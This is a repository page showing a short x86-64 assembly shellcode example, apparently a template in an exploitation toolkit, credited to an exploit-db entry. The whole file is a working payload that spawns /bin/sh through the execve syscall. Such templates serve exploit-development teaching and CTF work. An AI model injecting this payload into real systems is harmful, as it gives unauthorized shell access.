summaryrefslogtreecommitdiffstats
path: root/templates/shellcode/examples/shell64.asm
blob: 3812c3312db1b5c56141740d686ef134e9c89e16 (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
; Originally based on https://www.exploit-db.com/shellcodes/47008

; stack layout
;
;     ┏━━━━━━━━━━━━━━┓
;     ┃              v
;   [ argv0, NULL ] "/bin//sh" NULL
;     ^      ^       ^
;     ┃      ┃       ┃
;     argv   envp    filename

; execve("/bin/sh", ["/bin/sh"], [])
xor     rax, rax
xor     rsi, rsi
mov     rdi, 0x68732f2f6e69622f
push    rsi
push    rdi
mov     rdi, rsp
push    rsi
mov     rdx, rsp
push    rdi
mov     rsi, rsp
mov      al, 59
syscall